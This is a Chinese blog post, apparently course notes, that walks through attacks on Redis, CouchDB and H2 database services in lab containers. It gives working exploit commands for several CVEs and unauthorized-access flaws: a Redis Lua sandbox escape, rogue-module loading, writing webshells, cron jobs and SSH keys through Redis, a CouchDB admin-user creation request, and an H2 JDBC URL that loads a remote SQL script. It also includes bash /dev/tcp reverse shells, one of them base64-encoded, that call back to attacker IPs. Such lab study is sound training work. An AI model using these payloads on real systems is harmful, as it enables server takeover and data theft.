第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞

第78天:服务攻防-数据库安全&Redis&CouchDB&H2database&未授权访问&CVE漏洞
Yatming的博客- 端口扫描:利用服务开启后目标端口开放判断
- 组合判断:利用搭建常见组合分析可能开放服务
- 信息来源:访问端口提示软件版本,应用信息等
- 强弱特征:如框架 shiro 强特征 rememberMe,SpringBoot 默认页面等
环境搭建VULFOCUS:
1 | 首先安装docker |
沙箱绕过 RCE-CVE-2022-0543
1 | 利用版本范围: |
下载这三个镜像:
使用redis工具进行链接:
1 | eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 |
若返回如下则无该漏洞:
1 | ERR Error running script (call to f_59383731574f8ef9c055b3f4cf9cca078446f86d): @enable_strict_lua:15: user_script:1: Script attempted to access unexisting global variable 'package' |
未授权访问 - CNVD-2019-21763
- 由于在 Reids 4.x 及以上版本中新增了模块功能,攻击者可通过外部拓展,在 Redis 中实现一个新的 Redis 命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
- 利用工具项目:
https://github.com/vulhub/redis-rogue-getshell
- 利用:
- 启动靶场,获得映射端口,然后利用工具执行命令
下载这个工具之后:
1 | cd RedisModulesSDK/ |
1 | python redis-master.py -r 目标IP -p 目标端口 -L 攻击IP -P 8888 -f RedisModulesSDK/exp.so -c "id" |
未授权访问(CNVD-2015-07557)
三种利用方式,都是利用写文件
写 Webshell
利用条件:有 Web 网站,且 Web 目录权限可读写,需得到 Web 路径
利用:
1 | config set dir /tmp #设置WEB写入目录 |
注意:部分没目录权限读写权限
因为这个靶场没有php的环境,但是通过在服务器上查看1.php的文件位置,得到确实是写上去了。
实际情况可以将这个文件放到常见的apache或者nginx的服务的目录下。
写定时任务反弹 shell
利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态
利用:
1 | config set dir /var/spool/cron |
这里的话这个靶场第一步就直接报错 ERR Changing directory: No such file or directory,所以这个利用不了
注意:centos 会忽略乱码去执行格式正确的任务计划,而 ubuntu 并不会忽略这些乱码,所以导致命令执行失败
写入 Linux ssh-key 公钥
利用条件:Redis 服务使用 ROOT 账号启动,安全模式 protected-mode 处于关闭状态,允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
利用:
1 | ssh-keygen -t rsa |
因为在执行cat那个命令的时候,因为靶场是随机高位端口,所以这里改端口好像不行。
这里可以使用工具。
github项目:https://github.com/n0b0dyCN/redis-rogue-server
需要在exp这个目录执行make命令
1 | python redis-rogue-server.py --rhost 目标IP --rport 目标端口 --lhost IP |
如果这里一次没有成功,可以多试几次。
数据库应用 - Couchdb - 未授权越权 & CVE 漏洞
CVE-2017-12635
- 默认端口:5984
- Apache CouchDB 是一个开源数据库,专注于易用性和成为 “完全拥抱 web 的数据库”。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露利用。
先创建一个用户:
1 | PUT /_users/org.couchdb.user:xiaodi HTTP/1.1 |
使用创建用户的用户登陆:
1 | http://xxx.xxx.xxx.xxx:xxx/_utils/#login |
CVE-2017-12636
使用自动化工具
项目地址:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
开启nc监听就行。
数据库应用-H2database–未授权访问&CVE漏洞
- 默认端口:20051
- Java SQL 数据库 H2,H2 的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在 v2.1.210 + 中修复。2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
cve-2022-23221
未授权进入
直接在 JDBC URL 处填入以下内容即可无需用户密码进入数据库
1 | jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\ |
这里还可以使用 rmi 进行攻击尝试
RCE 执行反弹
在自己服务器上创建数据库文件:h2database.sql,内容如下
1 | CREATE TABLE test ( |
反弹指令示例
1 | bash -i >& /dev/tcp/10.20.0.36/6666 0>&1 |
在服务器上启动提供 SQL 文件远程加载服务,python,或者 apache 之类的都可以
1 | python3 -m http.server 端口 |
在服务器上启动监听端口,这里上面反弹的是 6666.所以监听 6666
1 | nc -lvvp 6666 |
在靶场访问的界面 JDBC URL 处填入 Payload 使其加载远程 SQL
1 | jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://10.20.0.36:80/h2database.sql';\ |
自己的服务器成功获取到 shell
另一种RCE的办法-jndi注入
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOS8zMzMzIDA+JjE=}|{base64,-d}|{bash,-i}' -A 192.168.88.129 |